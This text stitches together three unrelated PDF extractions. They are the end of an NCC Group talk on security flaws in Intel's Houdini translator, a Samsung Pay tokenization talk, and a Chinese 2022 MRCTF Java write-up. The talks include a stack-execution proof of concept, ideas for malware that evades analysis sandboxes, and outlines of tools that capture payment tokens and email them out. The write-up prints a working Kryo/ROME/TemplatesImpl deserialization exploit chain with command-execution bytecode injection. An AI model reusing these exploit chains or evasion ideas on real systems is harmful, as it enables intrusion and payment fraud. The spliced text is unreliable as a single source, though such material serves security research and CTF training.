[anon:Mem_0x10000000]
Security Concerns — RWX + Other Interesting Pages
© NCC Group 2021. All rights reserved
Multiple RWX
• We can write x86 code to these pages
and jump to it
• Shared memory, which means we can
write code from either x86/ARM
ARM JNIEnv
ARM stack
00008000-0000a000 rw-p
[anon:Mem_0x10000002]
0e094000-10000000 rwxp
[anon:Mem_0x20000000]
10000000-10003000 rw-p
[anon:Mem_0x10002002]
10003000-10004000 ---p
[anon:Mem_0x10002002]
10004000-10015000 rw-p
[anon:Mem_0x10002002]
10015000-10016000 ---p
[anon:Mem_0x10002002]
...
10128000-12000000 rw-p
[anon:Mem_0x10002000]
12000000-12100000 rwxp
[anon:Mem_0x10001000]
12100000-12122000 rw-p
[anon:Mem_0x10001000]
1215a000-12193000 rw-p
[anon:Mem_0x10001000]
ca6e8000-ca6e9000 ---p
[anon:Mem_0x10000004]
ca6e9000-caae8000 rw-p
[anon:Mem_0x10000004]
caae8000-caae9000 ---p
[anon:Mem_0x10000004]
caae9000-cabe8000 rw-p
[anon:Mem_0x10000004]
...
e4f99000-e4f9a000 ---p
[anon:Mem_0x10000004]
e4f9a000-e4f9f000 rw-p
[anon:Mem_0x10000004]
e8cb4000-e8cb6000 rwxp
[anon:Mem_0x10000000]
Security Concerns — NX Ignored
© NCC Group 2021. All rights reserved
1 https://en.wikipedia.org/wiki/NX_bit
Houdini ignores the execute bit entirely
• ARM libraries are loaded without the execute bit on their pages
• No DEP/NX1 for ARM
• Trivial to abuse (write to anywhere writable, and jump/return to it)
Page Permissions — A Matter of Interpretation
© NCC Group 2021. All rights reserved
$ cat nx-stack.c
#include<stdio.h>
int main(){
unsigned int code[512] = {0};
code[0] = 0xE2800001; // add r0, r0, #1
code[1] = 0xE12FFF1E; // bx lr
printf("code(1) returned: %d\n", ((int (*)(int))code)(1)); // Normally, this causes a segfault
printf("code(5) returned: %d\n", ((int (*)(int))code)(5));
}
$ arm-linux-gnueabi-gcc nx-stack.c -static -Wl,-z,noexecstack -o nx-stack-static
$ file nx-stack-static
nx-stack-static: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked
7323f32a36, for GNU/Linux 3.2.0, not stripped
$ ./nx-stack-static
code (1) returned: 2
code (5) returned: 6
© NCC Group 2021. All rights reserved
DEMOS
Libhoudini-aware Malware
© NCC Group 2021. All rights reserved
• App stores and security researchers often run apps in sandboxed environments to
check for malicious behaviors
• Mainly 3 different environments for running/analyzing apps
• Real ARM devices
• Fully virtualized ARM environment (like QEMU)
• x86 Android emulators (VMs)
• Apps that express different behaviors depending on which environment it is running
on can, for example, be benign during analysis but malicious otherwise
• Harder to detect
• Inconsistent behavior is harder to analyze
Libhoudini-aware Malware (cont’d)
© NCC Group 2021. All rights reserved
1 Dissecting the Android Bouncer (Oberheide, J., & Miller, C. (2012, June).
SummerCON, Brooklyn, New York)
Using one of the detection methods discussed earlier, we can write JNI-loaded native
Android code that does different things based on whether or not it is running through
libhoudini
• x86 Android emulator VMs, such as ones based on Android-x86, may use libhoudini
for ARM compatibility
• This is one possible approach used by app stores, so any form of fingerprinting
can become a problem 1
• If you know that your apps are only going to be analyzed in such environments,
you could key malicious behaviors to the lack of libhoudini
Libhoudini-aware Malware (cont’d)
© NCC Group 2021. All rights reserved
Conversely, a malicious app could do bad things only when it detects the presence of
libhoudini, then abuse libhoudini to further obfuscate itself
• For example, while we don’t know what the Play Store actually uses these days, its
automatic app testing did not appear to run ARM APKs on x86 with libhoudini
Recommendations to Vendors and Platforms
© NCC Group 2021. All rights reserved
Drop RWX pages
• Where necessary perform fine-grained page permission control
Implement efficient NX/userland page table implementation
• Checking page permissions for each instruction would incur significant overhead
• Instead, keep track of mappings and permissions in-process
• Perform checks if instruction is from different page than the previous instruction’s
• e.g. jumps or serial instructions across a page boundary
Use virtualization
• And ensure that ASLR is implemented/used to protect sensitive structures
Recommendations (cont’d) — Custom NX Validation
© NCC Group 2021. All rights reserved
This could be done in a couple of ways
1. Trust only ARM .so .text sections on load
2. Check /proc/self/maps on each ”new” page that
hasn’t been added to the data structure
3. Instrument memory mapping-related syscalls
(e.g. mmap, mprotect) to track page permissions
An ideal solution combines 2 and 3, with the checks for 2 performed as a catch-all
• Supports dynamic .so loading via dlopen(3)
• Supports legitimate JITing
• And removes JIT pages when cleared/reset/freed to prevent page reuse attacks
This data structure acts as a page table and should be heavily protected (writeable only
when being updated, surrounded by guard pages, not accessible to ARM, etc.)
Recommendations (cont’d)
© NCC Group 2021. All rights reserved
For anyone doing analysis of Android applications
• Dynamic analysis should also run apps through libhoudini
• Static analysis should look for access to Houdini RWX pages and attempts to
execute from non-executable pages
Recommendations (cont’d)
© NCC Group 2021. All rights reserved
For anyone doing analysis of Android applications
• Dynamic analysis should also run apps through libhoudini
• Static analysis should look for access to Houdini RWX pages and attempts to
execute from non-executable pages
• and anything scanning the JNIEnv function pointers
Conclusion
© NCC Group 2021. All rights reserved
• Houdini introduces a number of security weaknesses into processes using it
• Some of these impact the security of the emulated ARM code, while some also
impact the security of host x86 code
• These issues overall undermine core native code hardening
• Houdini not being well-documented publicly nor easily accessible may have
prevented wider security analysis and research into it that could have caught these
issues earlier
Disclosure — Timeline
© NCC Group 2021. All rights reserved
[04/24/21] Findings (discussed in this talk) sent to Intel PSIRT via [email protected]
[05/05/21] Intel PSIRT confirms receipt of findings, and sends a few questions
[05/07/21] NCC Group sends a response answering Intel's questions
[05/07/21] Intel PSIRT confirms receipt of the additional information
[05/17/21] Intel PSIRT provides an update that the product team is looking into the findings
[06/25/21] Intel PSIRT provides an update that a fix release is planned for the end of July
[07/16/21] Additional findings (not discussed in this talk) sent to Intel PSIRT
[07/19/21] Intel PSIRT confirms receipt of the additional findings and that they will be
sent to the Houdini team
[07/21/21] NCC Group previews this talk for Intel PSIRT
Big special thanks to...
© NCC Group 2021. All rights reserved
• Jeff Dileo
• Jennifer Fernick
• Effi Kishko
© NCC Group 2021. All rights reserved
Questions?
[email protected]
@im_eningeer | pdf |
Samsung Pay
Tokenized Numbers,
Flaws and Issues
About Me
Salvador Mendoza (Twitter: @Netxing)
● Researcher
o
Android apps and tokenization mechanisms.
● College student
o
A. S. Computer Science
o
Computer Network Administration Certificate
o
Computer Programming Specialist Certificate
Agenda
● Terminology
● Tokenized numbers
● Numbers and analyzing a token
● MST and NFC protocols
● Fragile tokenized process and storage
● Possible attacks
● JamPay tool
Terminology
● NFC: Near Field Communication
● MST: Magnetic Secure Transmission
● VST: Visa Token Service
● Tokenized numbers: A process where the primary account number (PAN) is replaced
with a surrogate value = Token.
● Token: An authorized voucher to interchange for goods or service.
● TSP: Token Service Provider
● PAN: Primary Account Number
Analyzing Tokenized Numbers (Token)
%4012300001234567^21041010647020079616?;4012300001234567^21041010647020079616?
~4012300001234567^21041010647020079616?
% = Start sentinel for first track
^ = Separator
? = End sentinel for every track
; = Start sentinel for second track
~ = Start sentinel for third track
A tokenized number follows exactly the same format of IATA/ABA; emulating perfectly a swiping
physical card.
Analyzing a Track
Second track ;4012300001234567^21041010647020079616?
401230-000-1234567
401230
000
01234567
New CC number
Private BIN #
Never change, from
original CC
Still
researching
The first 16 digits are the new assigned CC number: 4012300001234567
Analyzing a Track
Second track = ;4012300001234567^21041010647020079616?
2104-101-0647020079616
21/04
101
064702-0079-616
Token
New expiration
date.
Service code:
1: Available for
international interchange.
0: Transactions are
authorized following the
normal rules.
1: No restrictions.
064702: It handles transaction’s
range/CVV role.
0079: Transaction’s id, increase +1 in
each transaction.
616: Random numbers, to fill IATA/ABA
format, generated from a
cryptogram/array method.
The last 20 digits are the token’s heart: 21041010647020079616
NFC/MST offline/online mode
Without internet; did not change the middle counter
%4012300001234567^2104101082017(constant)0216242?
%4012300001234567^21041010820170217826?
%4012300001234567^21041010820170218380?
%4012300001234567^21041010820170219899?
%4012300001234567^21041010820170220006?
[…]
With internet, the middle counter increased +1:
%4012300001234567^21041010821000232646?
%4012300001234567^21041010831000233969?
%
4012300001234567^21041010831000234196?
%4012300001234567^21041010831010235585? ← +1
Token Phases
● Active: Normal status after generated.
● Pending: Waiting for TSP’s response.
● Disposed: Destroyed token.
● Enrolled: Registered token.
● Expired: Became invalid after period of time.
● Suspended_provision: Valid PAN, requesting more info.
● Suspended: VST will decline the transaction with a suspended token.
Updating Token Status
//SAMPLE REQUEST URL
PUT
https://sandbox.api.visa.com/vts/provisionedTokens/{vProvisionedTokenID}/suspend?apikey={apikey}
// Header
content-type: application/jsonx-pay-token: {generated from request data}
// Body
{
"updateReason": {
"reasonCode": "CUSTOMER_CONFIRMED",
"reasonDesc": "Customer called"
}
}
// SAMPLE RESPONSE
// Body
{}
Source: Visa Developer Center
Files Structure
Databases > 20
Directories/files
vasdata.db, suggestions.db, mc_enc.db
/system/csc/sales_code.dat, SPayLogs/
spay.db, spayEuFw.db, PlccCardData_enc.db
B1.dat, B2.dat, pf.log, /dev/mst_ctrl
membership.db, image_disk_cache.db, loyaltyData.db
/efs/prov_data/plcc_pay/plcc_pay_enc.dat
transit.db, GiftCardData.db, personalcard.db
/efs/prov_data/plcc_pay/plcc_pay_sign.dat
CERT.db, MyAddressInfoDB.db, serverCertData.db
/sdcard/dstk/conf/rootcaoper.der
gtm_urls.db, statistics.db, mc_enc.db
/efs/pfw_data, /efs/prov_data/pfw_data
spayfw_enc.db, collector_enc.db, cbp_jan_enc.db
/sys/class/mstldo/mst_drv/transmit… many more
cbp_jan_enc.db
CREATE TABLE tbl_enhanced_token_info (_id INTEGER PRIMARY KEY AUTOINCREMENT, vPanEnrollmentID TEXT,
vProvisionedTokenID TEXT, token_requester_id TEXT, encryption_metadata TEXT, tokenStatus TEXT,
payment_instrument_last4 TEXT, payment_instrument_expiration_month TEXT, payment_instrument_expiration_year TEXT,
token_expirationDate_month TEXT, token_expirationDate_year TEXT, appPrgrmID TEXT, static_params TEXT, dynamic_key
BLOB, mac_left_key BLOB, mac_right_key BLOB, enc_token_info BLOB, dynamic_dki TEXT, token_last4 TEXT, mst_cvv
TEXT, mst_svc_code TEXT, nic INTEGER, locate_sad_offset INTEGER, sdad_sfi INTEGER, sdad_rec INTEGER, sdad_offset
INTEGER, sdad_length INTEGER, car_data_offset INTEGER, decimalized_crypto_data BLOB, bouncy_submarine BLOB, sugar
BLOB, UNIQUE (vProvisionedTokenID) ON CONFLICT FAIL)
https://sandbox.api.visa.com/vts/provisionedTokens/{vProvisionedTokenID}/suspend?apikey={apikey}
Flaws and Issues
● paramString = LFWrapper.encrypt("OverseaMstSeq", paramString);
● bool1 = b.edit().putString(paramString, LFWrapper.encrypt("PropertyUtil", null)).commit();
● paramString = LFWrapper.decrypt("SkhLjwAshJdwHys", paramString);
● String str = LFWrapper.encrypt("tui_lfw_seed", Integer.toString(paramInt));
● paramString = LFWrapper.decrypt("SpayDBManager", paramString);
Encrypt/Decrypt Functions
Flaws and Issues
Readable information in a backuped info:
adb backup -noapk com.app.android.app -f mybackup.ab
dd if=mybackup.ab bs=24 skip=1 | openssl zlib -d > mybackup.tar
(or instead of openssl, dd if=backup.ab bs=1 skip=24 | python -c "import zlib,sys;sys.stdout.write(zlib.
decompress(sys.stdin.read()))" | tar -xvf - )
●
Token expiration date was in blank.
●
ivdRetryExpiryTime implements timestamp format.
Attacks
Different attacks:
●
Social engineering
●
Jamming the MST signal
●
Reversing encrypt function
JamPay
While(1):
●
Send a “perfect” fake token, but unvaluable
●
Wait for a valuable input
●
Call a threat to send the token by email
●
Continue
TokenGet
While(1):
●
Get any input
●
Check for valid format and length
●
Send by email
●
Continue
Greetz, Hugs & Stuff
RMHT (raza-mexicana.org)
Samy Kamkar (@samykamkar)
Hkm (@_hkm)
Extra’s mom
Todos los Razos
Thank you!
Questions?
Salvador Mendoza
Twitter: @Netxing
Email: [email protected] | pdf |
2022MRCTF-Java部分
2022MRCTF-Java部分
总结
Springcoffee -- Kryo反序列化、绕Rasp
思路分析
具体利⽤过程(Payload构造过程)
绕Rasp
EzJava -- Bypass Serialkiller
解读环境
Bypass
FactoryTransformer
Java_mem_shell_Filter
Java_mem_shell_Basic
总结
总的来说是⼀次⾮常不错的⽐赛,这⾥也会简单列出考点⽅便查阅学习,不难有点引导性质
Ps:此次⽐赛都是不出⽹,所以都需要内存马,内存马部分不做讲解很简单百度搜搜
下⾯这两题挺不错的也学到了东西,题⽬做了备份,核⼼代码(exp)也放到了git仓库备份,本
篇只是思路帖⼦
https://github.com/Y4tacker/CTFBackup/tree/main/2022/2022MRCTF
Springcoffee--Kryo反序列化、绕Rasp
EzJava--绕Serialkiller⿊名单中cc关键组件
下⾯这两题没啥参考价值,不过让我搞了下实战也还不错
Java_mem_shell_Filter--log4j2打jndi
Java_mem_shell_Basic---tomcat弱⼜令
Springcoffee -- Kryo反序列化、绕Rasp
ok,这东西也是从来没学过,又是从头开始,这⾥记录了当时是如何思考的分析思考过程
思路分析
⾸先看看整体⽬录结构
这⾥挑⼏个重要的来讲⼀下 CoffeeController
order路由反序列化
@RequestMapping({"/coffee/order"})
public Message order(@RequestBody CoffeeRequest coffee) {
if (coffee.extraFlavor != null) {
ByteArrayInputStream bas = new
ByteArrayInputStream(Base64.getDecoder().decode(coffee.extraFlavor));
Input input = new Input(bas);
ExtraFlavor flavor = (ExtraFlavor)this.kryo.readClassAndObject(input);
return new Message(200, flavor.getName());
demo路由,主要是根据输⼊修改⼀些关键配置,这个⽐较关键之后再说
@RequestMapping({"/coffee/demo"})
public Message demoFlavor(@RequestBody String raw) throws Exception {
System.out.println(raw);
JSONObject serializeConfig = new JSONObject(raw);
if (serializeConfig.has("polish") &&
serializeConfig.getBoolean("polish")) {
this.kryo = new Kryo();
Method[] var3 = this.kryo.getClass().getDeclaredMethods();
int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) {
Method setMethod = var3[var5];
if (setMethod.getName().startsWith("set")) {
try {
Object p1 =
serializeConfig.get(setMethod.getName().substring(3));
if (!setMethod.getParameterTypes()
[0].isPrimitive()) {
try {
p1 =
Class.forName((String)p1).newInstance();
setMethod.invoke(this.kryo, p1);
} catch (Exception var9) {
var9.printStackTrace();
}
} else {
setMethod.invoke(this.kryo, p1);
}
} catch (Exception var10) {
}
}
}
}
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Output output = new Output(bos);
⾸先要解决这道题,我们得知道前⼈都有⼀些什么研究
通过⾕歌简单搜索可以搜到⼀篇⽂章:浅析Dubbo Kryo/FST反序列化漏洞(CVE-2021-
25641)
其中⽐较有信息量的是调⽤栈,但是这⾥题⽬环境⾥⾯没有依赖
但是这⾥有rome依赖,那么很容易想到EqualsBean去触发ROME的利⽤链⼦
this.kryo.register(Mocha.class);
this.kryo.writeClassAndObject(output, new Mocha());
output.flush();
output.close();
return new Message(200, "Mocha!",
Base64.getEncoder().encode(bos.toByteArray()));
}
具体利⽤过程(Payload构造过程)
根据dubbo的利⽤链进⾏修改我们可以得到这样的代码
package demo;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import com.esotericsoftware.kryo.util.DefaultInstantiatorStrategy;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import fun.mrctf.springcoffee.model.ExtraFlavor;
import fun.mrctf.springcoffee.model.Mocha;
import javassist.ClassPool;
import org.json.JSONObject;
import org.objenesis.strategy.SerializingInstantiatorStrategy;
import org.objenesis.strategy.StdInstantiatorStrategy;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.sql.rowset.BaseRowSet;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.Base64;
import java.util.HashMap;
public class Testt {
protected Kryo kryo = new Kryo();
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public String ser(String raw) throws Exception{
JSONObject serializeConfig = new JSONObject(raw);
if (serializeConfig.has("polish") &&
serializeConfig.getBoolean("polish")) {
this.kryo = new Kryo();
Method[] var3 = this.kryo.getClass().getDeclaredMethods();
int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) {
Method setMethod = var3[var5];
if (setMethod.getName().startsWith("set")) {
try {
Object p1 =
serializeConfig.get(setMethod.getName().substring(3));
if (!setMethod.getParameterTypes()
[0].isPrimitive()) {
try {
p1 =
Class.forName((String)p1).newInstance();
setMethod.invoke(this.kryo, p1);
} catch (Exception var9) {
var9.printStackTrace();
}
} else {
setMethod.invoke(this.kryo, p1);
}
} catch (Exception var10) {
}
}
}
}
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Output output = new Output(bos);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
TemplatesImpl templates = new TemplatesImpl();
byte[][] bytes = new byte[][]
{ClassPool.getDefault().get("demo.YYDS").toBytecode()};
EqualsBean bean = new EqualsBean(String.class,"");
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "1");
setFieldValue(templates, "_tfactory", new
TransformerFactoryImpl());
setFieldValue(bean,"beanClass", Templates.class);
setFieldValue(bean,"obj",templates);
Object gadgetChain =
Utils.makeXStringToStringTrigger(templates,bean); // toString() trigger
objectObjectHashMap.put(gadgetChain,"");
kryo.writeClassAndObject(output, objectObjectHashMap);
以及Utils类
output.flush();
output.close();
return new String(Base64.getEncoder().encode(bos.toByteArray()));
}
public void deser(String raw){
ByteArrayInputStream bas = new
ByteArrayInputStream(Base64.getDecoder().decode(raw));
Input input = new Input(bas);
ExtraFlavor flavor =
(ExtraFlavor)this.kryo.readClassAndObject(input);
System.out.println(flavor.getName());
}
public static void main(String[] args) throws Exception {
Testt test = new Testt();
String ser = test.ser("
{\"polish\":true,\"RegistrationRequired\":false,\"InstantiatorStrategy\":
\"org.objenesis.strategy.StdInstantiatorStrategy\"}");
test.deser(ser);
}
}
package demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.Serializable;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import static
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRA
NSLET;
/*
* Utility class - based on code found in ysoserial, includes method calls
used in
* ysoserial.payloads.util specifically the Reflections, Gadgets, and
ClassFiles classes. These were
* consolidated into a single util class for the sake of brevity; they are
otherwise unchanged.
*
* Additionally, uses code based on
marshalsec.gadgets.ToStringUtil.makeSpringAOPToStringTrigger
* to create a toString trigger
*
* ysoserial by Chris Frohoff - https://github.com/frohoff/ysoserial
* marshalsec by Moritz Bechler - https://github.com/mbechler/marshalsec
*/
public class Utils {
static {
// special case for using TemplatesImpl gadgets with a
SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
// for RMI remote loading
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
}
public static final String ANN_INV_HANDLER_CLASS =
"sun.reflect.annotation.AnnotationInvocationHandler";
public static class StubTransletPayload extends AbstractTranslet
implements Serializable {
private static final long serialVersionUID =
-5971610431559700674L;
public void transform (DOM document, SerializationHandler[]
handlers ) throws TransletException {}
@Override
public void transform (DOM document, DTMAxisIterator iterator,
SerializationHandler handler ) throws TransletException {}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static InvocationHandler createMemoizedInvocationHandler (final
Map<String, Object> map ) throws Exception {
return (InvocationHandler)
Utils.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class,
map);
}
public static Object createTemplatesImpl ( final String command )
throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan",
"false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class,
AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl ( final String command,
Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new
ClassClassPath(Utils.StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz =
pool.get(Utils.StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java
rev/bind-shell to bypass naive protections
String cmd = "System.out.println(\"whoops!\");
java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"",
"\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for
PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Utils.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, Utils.classAsBytes(Utils.Foo.class)
});
// required to make TemplatesImpl happy
Utils.setFieldValue(templates, "_name", "Pwnr");
Utils.setFieldValue(templates, "_tfactory",
transFactory.newInstance());
return templates;
}
public static Field getField(final Class<?> clazz, final String
fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String
fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String
fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Constructor<?> getFirstCtor(final String name) throws
Exception {
final Constructor<?> ctor =
Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
@SuppressWarnings ( {"unchecked"} )
public static <T> T createWithConstructor ( Class<T>
classToInstantiate, Class<? super T> constructorClass, Class<?>[]
consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons =
constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc =
ReflectionFactory.getReflectionFactory().newConstructorForSerialization(cl
assToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix)
{
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" +
clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in =
Utils.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
但是当你兴冲冲的写好利⽤链以后,会发现⼏个问题
⾸先你会看到⼀⾏报错, Class is not registered: java.util.HashMap
那么你肯定会疑惑这是什么玩意⼉?它来⾃哪⾥?
public static HashMap<Object, Object> makeMap (Object v1, Object v2 )
throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Utils.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class,
Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Utils.setFieldValue(s, "table", tbl);
return s;
}
public static Object makeXStringToStringTrigger(Object o,Object bean)
throws Exception {
return Utils.makeMap(new HotSwappableTargetSource(o), new
HotSwappableTargetSource(bean));
}
}
我们可以看到
在 com.esotericsoftware.kryo.Kryo#Kryo(com.esotericsoftware.kryo.ClassRes
olver, com.esotericsoftware.kryo.ReferenceResolver)
⾸先实例化的时候注册了⼀些基本类型
然后在代码当中有 this.kryo.register(Mocha.class);
可以看到默认是 FieldSerializer
那我们也知道我们这个思路触发的核⼼是通过
com.esotericsoftware.kryo.serializers.MapSerializer ,但是这⾥我们没法⾃⼰
注册怎么办呢,还记得上⾯那个路由么,demo路由当中可以根据我们前端传⼊的json当中的
熟悉控制执⾏对应的set⽅法做属性更改,这⾥我不直接说需要更改哪些属性去解决这道题,
个⼈更倾向于遇到⼀个问题解决⼀个问题
那么既然能控制属性,我们也得知道能控制那⼀些,通过简单输出可以得到
setWarnUnregisteredClasses
setDefaultSerializer
setDefaultSerializer
setClassLoader
setRegistrationRequired
setReferences
setCopyReferences
setReferenceResolver
setInstantiatorStrategy
setAutoReset
setMaxDepth
setOptimizedGenerics
回到刚刚的问题
既然如此那么我们⾸先需要知道在哪⾥抛出了这个异常,可以看到在
com.esotericsoftware.kryo.Kryo#getRegistration(java.lang.Class)
简单列出现在的调⽤栈,是在序列化的过程当中
可以看到根据类型在this.classResolver.getRegistration⽆结果就会抛出异常,通过debug输出
classResolver当中的关键信息,可以很明显得到基本都是⼀些基本的数据类型,没有我们的Map
getRegistration:579, Kryo (com.esotericsoftware.kryo)
writeClass:112, DefaultClassResolver (com.esotericsoftware.kryo.util)
writeClass:613, Kryo (com.esotericsoftware.kryo)
writeClassAndObject:708, Kryo (com.esotericsoftware.kryo)
ser:97, Testt (demo)
main:121, Testt (demo)
我们再来看在抛出异常的那部分,如果将registrationRequired设置为false,则可以略过这些过
程
此时它会执
⾏ com.esotericsoftware.kryo.util.DefaultClassResolver#registerImplicit
{
char=[5, char],
long=[7, long],
class java.lang.Byte=[4, byte],
class java.lang.Character=[5, char],
double=[8, double],
class java.lang.Short=[6, short],
int=[0, int],
class java.lang.Integer=[0, int],
byte=[4, byte],
float=[2, float],
class java.lang.Double=[8, double],
class java.lang.Boolean=[3, boolean],
boolean=[3, boolean],
short=[6, short],
class java.lang.Long=[7, long],
class java.lang.String=[1, String],
class java.lang.Float=[2, float]
}
=> com.esotericsoftware.kryo.Kryo#getDefaultSerializer 最终获取到我们需要的
com.esotericsoftware.kryo.serializers.MapSerializer
通过⽐对属性以及上⾯提到的可利⽤的set⽅法,我们能很容易通过payload的传⼊控制这个过
程
ok当你感觉又⾏的时候,又兴致冲冲运⾏了代码,此时又出现 Class cannot be created
(missing no-arg constructor): ,字⾯意思是我们序列化的类需要有⽆参构造函数
那我们再跟进代码看看实例化报错到底是怎么回事,在实例化⼀个类的时候会通过调
⽤ com.esotericsoftware.kryo.Kryo#newInstantiator ,
并最终会调⽤
到 com.esotericsoftware.kryo.util.DefaultInstantiatorStrategy#newInstanti
atorOf
此时的调⽤栈为
{"RegistrationRequired":false}
newInstantiatorOf:96, DefaultInstantiatorStrategy
(com.esotericsoftware.kryo.util)
newInstantiator:1190, Kryo (com.esotericsoftware.kryo)
newInstance:1199, Kryo (com.esotericsoftware.kryo)
create:163, FieldSerializer (com.esotericsoftware.kryo.serializers)
read:122, FieldSerializer (com.esotericsoftware.kryo.serializers)
可以看到抛错的原因就是下⾯的这串代码,它默认我们的类有⽆参构造函数
那为了解决这个问题我们也得知道是否可以不使⽤ DefaultInstantiatorStrategy ,转⽽
使⽤其他 InstantiatorStrategy 的⼦类呢,答案是可以的,上⾯我们可以看到函数实例化
的过程是通过 this.strategy.newInstantiatorOf(type) ,⽽这
个 DefaultInstantiatorStrategy 来源于 strategy 属性
正好在Kryo类当中有set⽅法可以实
现, com.esotericsoftware.kryo.Kryo#setInstantiatorStrategy ,可以看到如果
是 StdInstantiatorStrategy 类则正好符合(官⽅⽂档⽐代码好看)
readClassAndObject:880, Kryo (com.esotericsoftware.kryo)
read:226, MapSerializer (com.esotericsoftware.kryo.serializers)
read:42, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:880, Kryo (com.esotericsoftware.kryo)
read:226, MapSerializer (com.esotericsoftware.kryo.serializers)
read:42, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:880, Kryo (com.esotericsoftware.kryo)
deser:110, Testt (demo)
main:126, Testt (demo)
因此我们得到最终传参
可以看到又报错了, _tfactory 空指针异常
